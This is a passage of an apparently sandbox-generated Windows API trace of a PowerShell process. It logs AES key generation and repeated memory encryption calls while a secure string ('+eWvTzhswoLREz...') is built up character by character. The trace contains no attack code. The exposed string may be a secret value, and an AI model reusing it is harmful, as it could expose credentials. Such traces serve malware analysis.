lpCs=0x5a2e43c) returned 0 [0255.718] GetConsoleOutputCP () returned 0x1b5 [0255.718] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0255.718] GetConsoleOutputCP () returned 0x1b5 [0255.718] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0255.718] GetConsoleOutputCP () returned 0x1b5 [0255.719] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.719] GetConsoleOutputCP () returned 0x1b5 [0255.719] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.719] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0255.719] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0255.720] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2374d98*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x2374d98*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0255.720] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0255.720] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0255.721] EtwEventActivityIdControl () returned 0x0 [0255.721] EtwEventActivityIdControl () returned 0x0 [0255.722] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.722] EtwEventActivityIdControl () returned 0x0 [0255.722] EtwEventActivityIdControl () returned 0x0 [0255.722] EtwEventActivityIdControl () returned 0x0 [0255.724] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.725] EtwEventActivityIdControl () returned 0x0 [0255.725] EtwEventActivityIdControl () returned 0x0 [0255.725] EtwEventActivityIdControl () returned 0x0 [0255.727] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4cd48) returned 1 [0255.728] CryptGenKey (in: hProv=0x5c4cd48, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c99760) returned 1 [0255.728] CryptContextAddRef (hProv=0x5c4cd48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0255.728] CryptExportKey (in: hKey=0x5c99760, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0255.728] CryptExportKey (in: hKey=0x5c99760, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x237c9c0, pdwDataLen=0x5a2e8c4 | out: pbData=0x237c9c0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0255.728] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.729] EtwEventActivityIdControl () returned 0x0 [0255.729] EtwEventActivityIdControl () returned 0x0 [0255.729] EtwEventActivityIdControl () returned 0x0 [0255.730] SysStringLen (param_1="") returned 0x8 [0255.730] SysStringLen (param_1="+") returned 0x8 [0255.730] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.730] SysStringLen (param_1="륥秊꫔鍘夢ؿ") returned 0x8 [0255.730] SysStringLen (param_1="륥秊꫔鍘夢ؿ") returned 0x8 [0255.730] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.730] SysStringLen (param_1="+e") returned 0x8 [0255.730] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.730] SysStringLen (param_1="⶛臲؈海㤖뼽ᄐ") returned 0x8 [0255.730] SysStringLen (param_1="⶛臲؈海㤖뼽ᄐ") returned 0x8 [0255.730] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.731] SysStringLen (param_1="+eW") returned 0x8 [0255.731] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.731] SysStringLen (param_1="☞ガ祍≒會ά寳﫤") returned 0x8 [0255.731] SysStringLen (param_1="☞ガ祍≒會ά寳﫤") returned 0x8 [0255.731] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.731] SysStringLen (param_1="+eWv") returned 0x8 [0255.731] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.731] SysStringLen (param_1="쩪℅殶斟퐝杖茞") returned 0x8 [0255.731] SysStringLen (param_1="쩪℅殶斟퐝杖茞") returned 0x8 [0255.731] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.731] SysStringLen (param_1="+eWvT") returned 0x8 [0255.731] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.731] SysStringLen (param_1="ᖥ꿳撽馏") returned 0x8 [0255.731] SysStringLen (param_1="ᖥ꿳撽馏") returned 0x8 [0255.732] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.732] SysStringLen (param_1="+eWvTz") returned 0x8 [0255.732] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.732] SysStringLen (param_1="釻䁨꭪薢㋟಑Ⲇ") returned 0x8 [0255.732] SysStringLen (param_1="釻䁨꭪薢㋟಑Ⲇ") returned 0x8 [0255.732] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.732] SysStringLen (param_1="+eWvTzh") returned 0x8 [0255.732] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.732] SysStringLen (param_1="꽷⣜壽⻛贛煒ᩣ鑽") returned 0x8 [0255.732] SysStringLen (param_1="꽷⣜壽⻛贛煒ᩣ鑽") returned 0x8 [0255.732] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.732] SysStringLen (param_1="+eWvTzhs") returned 0x8 [0255.732] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.733] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽⊹) returned 0x8 [0255.733] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽⊹) returned 0x8 [0255.733] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽⊹) returned 0x8 [0255.733] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽⊹) returned 0x10 [0255.733] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.734] SysStringLen (param_1="+eWvTzhsw㩷⣎ꐵ쨟氱ป瑻") returned 0x10 [0255.734] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.734] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽嶹焲鲿姛﷼쟇䛁ᎋ∵) returned 0x10 [0255.734] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽嶹焲鲿姛﷼쟇䛁ᎋ∵) returned 0x10 [0255.734] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.734] SysStringLen (param_1="+eWvTzhswo⣎ꐵ쨟氱ป瑻") returned 0x10 [0255.734] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.734] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽䕂廸턳᪩⊊) returned 0x10 [0255.734] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽䕂廸턳᪩⊊) returned 0x10 [0255.734] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.734] SysStringLen (param_1="+eWvTzhswoLꐵ쨟氱ป瑻") returned 0x10 [0255.734] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.735] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽몹쭩쓎\ᇛ㴨웆艓") returned 0x10 [0255.735] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽몹쭩쓎\ᇛ㴨웆艓") returned 0x10 [0255.735] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.735] SysStringLen (param_1="+eWvTzhswoLR쨟氱ป瑻") returned 0x10 [0255.735] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.735] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽캹⡂䇓ꞝ旖椿ᮮ⋗) returned 0x10 [0255.735] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽캹⡂䇓ꞝ旖椿ᮮ⋗) returned 0x10 [0255.735] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.735] SysStringLen (param_1="+eWvTzhswoLRE氱ป瑻") returned 0x10 [0255.735] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.735] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽쪹괢ෞↅ稔ᜮᜭ∲) returned 0x10 [0255.735] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽쪹괢ෞↅ稔ᜮᜭ∲) returned 0x10 [0255.735] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.735] SysStringLen (param_1="+eWvTzhswoLREzป瑻") returned 0x10 [0255.736] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.736] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽᮹⢱ᅙ㑗᥋犻∯) returned 0x10 [0255.736] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽᮹⢱ᅙ㑗᥋犻∯) returned 0x10 [0255.736] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.736] SysStringLen (param_1="+eWvTzhswoLREzS瑻") returned 0x10 [0255.736] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.737] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽妹샃糿걛ꩈ㍰䛟䶂⊅) returned 0x10 [0255.737] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽妹샃糿걛ꩈ㍰䛟䶂⊅) returned 0x10 [0255.737] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.737] SysStringLen (param_1="+eWvTzhswoLREzSp") returned 0x10 [0255.737] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.737] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔") returned 0x10 [0255.737] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔") returned 0x10 [0255.737] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔") returned 0x10 [0255.738] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔") returned 0x18 [0255.738] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.738] SysStringLen (param_1="+eWvTzhswoLREzSpI鮱ꧪ墰ꖺ훧") returned 0x18 [0255.738] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.738] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ࢢ偐贓輴ꔱ餆䣚") returned 0x18 [0255.738] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ࢢ偐贓輴ꔱ餆䣚") returned 0x18 [0255.738] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.738] SysStringLen (param_1="+eWvTzhswoLREzSpIN鮱ꧪ墰ꖺ훧") returned 0x18 [0255.738] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.738] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔쾣ݘ釶胯ꬼ六氼ࡃ") returned 0x18 [0255.738] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔쾣ݘ釶胯ꬼ六氼ࡃ") returned 0x18 [0255.738] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.739] SysStringLen (param_1="+eWvTzhswoLREzSpINdꧪ墰ꖺ훧") returned 0x18 [0255.739] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.739] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ࢮ霨鄙赬暸\ᗛఔ⋳) returned 0x18 [0255.739] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ࢮ霨鄙赬暸\ᗛఔ⋳) returned 0x18 [0255.739] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.739] SysStringLen (param_1="+eWvTzhswoLREzSpINdg墰ꖺ훧") returned 0x18 [0255.739] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.739] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔퀻傞̘缜呱虹쏖") returned 0x18 [0255.739] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔퀻傞̘缜呱虹쏖") returned 0x18 [0255.739] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.739] SysStringLen (param_1="+eWvTzhswoLREzSpINdgaꖺ훧") returned 0x18 [0255.739] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.739] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ձ痼₽떬搻꤂퐵") returned 0x18 [0255.740] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ձ痼₽떬搻꤂퐵") returned 0x18 [0255.740] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.740] SysStringLen (param_1="+eWvTzhswoLREzSpINdgaw훧") returned 0x18 [0255.740] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.740] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔汞ㄥ׻銓茁㒣") returned 0x18 [0255.740] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔汞ㄥ׻銓茁㒣") returned 0x18 [0255.740] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.740] SysStringLen (param_1="+eWvTzhswoLREzSpINdgaw0") returned 0x18 [0255.740] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.740] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔᧖䃏琎ຈ뻾掲ኟ墾") returned 0x18 [0255.740] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔᧖䃏琎ຈ뻾掲ኟ墾") returned 0x18 [0255.740] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.740] SysStringLen (param_1="+eWvTzhswoLREzSpINdgaw0W") returned 0x18 [0255.740] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.741] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻") returned 0x18 [0255.741] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻") returned 0x18 [0255.741] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻") returned 0x18 [0255.741] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻") returned 0x20 [0255.741] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.741] SysStringLen (param_1="+eWvTzhswoLREzSpINdgaw0WI骱願綻仝➼矦觀") returned 0x20 [0255.741] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.742] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻㹑㍇銤鷖ʥᕃꤺ⟡") returned 0x20 [0255.742] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻㹑㍇銤鷖ʥᕃꤺ⟡") returned 0x20 [0255.742] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.742] SysStringLen (param_1="+eWvTzhswoLREzSpINdgaw0WIk願綻仝➼矦觀") returned 0x20 [0255.742] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.742] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻孊锹贋읦떶") returned 0x20 [0255.742] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻孊锹贋읦떶") returned 0x20 [0255.742] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.742] SysStringLen (param_1="+eWvTzhswoLREzSpINdgaw0WIkH綻仝➼矦觀") returned 0x20 [0255.742] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.742] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻粙犠吪ᙔ⑪驐욎") returned 0x20 [0255.742] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻粙犠吪ᙔ⑪驐욎") returned 0x20 [0255.742] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.743] SysStringLen (param_1="+eWvTzhswoLREzSpINdgaw0WIkHD仝➼矦觀") returned 0x20 [0255.743] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.743] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻곬龃ᛅꫭ蕄ᯀ횸㔝") returned 0x20 [0255.743] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻곬龃ᛅꫭ蕄ᯀ횸㔝") returned 0x20 [0255.743] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.743] SysStringLen (param_1="+eWvTzhswoLREzSpINdgaw0WIkHDA➼矦觀") returned 0x20 [0255.743] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.743] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻䂗ꓻ旔糃ύ蟪袓") returned 0x20 [0255.743] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻䂗ꓻ旔糃ύ蟪袓") returned 0x20 [0255.743] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.743] SysStringLen (param_1="+eWvTzhswoLREzSpINdgaw0WIkHDAv矦觀") returned 0x20 [0255.743] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.743] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻㺃鰜ĺ掺獵퉺ഋ啽") returned 0x20 [0255.744] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻㺃鰜ĺ掺獵퉺ഋ啽") returned 0x20 [0255.744] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.744] SysStringLen (param_1="+eWvTzhswoLREzSpINdgaw0WIkHDAv8觀") returned 0x20 [0255.744] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.744] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻줫ᣭ믚雒쩀봖墱兎") returned 0x20 [0255.744] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻줫ᣭ믚雒쩀봖墱兎") returned 0x20 [0255.744] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.744] SysStringLen (param_1="+eWvTzhswoLREzSpINdgaw0WIkHDAv8A") returned 0x20 [0255.744] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.744] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻빀㵌큷볨㍦迻齠") returned 0x20 [0255.744] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻빀㵌큷볨㍦迻齠") returned 0x20 [0255.745] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻빀㵌큷볨㍦迻齠") returned 0x20 [0255.745] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻빀㵌큷볨㍦迻齠") returned 0x28 [0255.745] SystemFunction041 (in: Memory=0x3af97c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af97c) returned 0x0 [0255.745] SysStringLen (param_1="+eWvTzhswoLREzSpINdgaw0WIkHDAv8ANיꜞئ뢉㦄鳧剛") returned 0x28 [0255.745] SystemFunction040 (in: Memory=0x3af97c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af97c) returned 0x0 [0255.745] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻빀㵌큷볨㍦迻齠⣬䦔坙据ꤵ摹凉") returned 0x28 [0255.745] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻빀㵌큷볨㍦迻齠⣬䦔坙据ꤵ摹凉") returned 0x28 [0255.745] SystemFunction041 (in: Memory=0x3af97c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af97c) returned 0x0 [0255.745] SysStringLen (param_1="+eWvTzhswoLREzSpINdgaw0WIkHDAv8AN7ꜞئ뢉㦄鳧剛") returned 0x28 [0255.745] SystemFunction040 (in: Memory=0x3af97c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af97c) returned 0x0 [0255.746] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻빀㵌큷볨㍦迻齠关윮洑괡㔅쬰䣔") returned 0x28 [0255.746] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻빀㵌큷볨㍦迻齠关윮洑괡㔅쬰䣔") returned 0x28 [0255.746] SystemFunction041 (in: Memory=0x3af97c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af97c) returned 0x0 [0255.746] SysStringLen (param_1="+eWvTzhswoLREzSpINdgaw0WIkHDAv8AN7Mئ뢉㦄鳧剛") returned 0x28 [0255.746] SystemFunction040 (in: Memory=0x3af97c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af97c) returned 0x0 [0255.746] SysStringLen 